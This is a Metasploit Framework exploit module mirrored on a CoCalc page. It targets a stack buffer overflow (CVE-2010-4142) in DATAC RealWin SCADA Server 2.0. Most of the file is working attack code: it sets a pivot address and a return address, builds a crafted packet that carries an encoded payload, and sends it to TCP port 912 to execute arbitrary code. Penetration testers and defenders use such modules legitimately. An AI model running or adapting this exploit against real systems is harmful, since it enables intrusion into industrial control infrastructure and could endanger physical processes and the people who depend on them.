CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in DATAC Control
16
International RealWin SCADA Server 2.0 (Build 6.1.8.10).
17
By sending a specially crafted packet,
18
an attacker may be able to execute arbitrary code.
19
},
20
'Author' => [ 'Luigi Auriemma', 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2010-4142'],
25
[ 'OSVDB', '68812'],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 550,
35
'BadChars' => "\x00\x20\x0a\x0d",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2010-11-18'))
45
46
register_options([Opt::RPORT(912)])
47
end
48
49
def exploit
50
51
connect
52
53
data = [0x6a541264].pack('V')
54
data << [0x00000010].pack('V')
55
data << [0x00001ff4].pack('V')
56
data << rand_text_alpha_upper(164)
57
data << [target['Pivot']].pack('V')
58
data << rand_text_alpha_upper(16)
59
data << [target.ret].pack('V')
60
data << payload.encoded
61
data << rand_text_alpha_upper(10024 - payload.encoded.length)
62
63
print_status("Trying target #{target.name}...")
64
sock.put(data)
65
66
handler
67
disconnect
68
69
end
70
end
71
72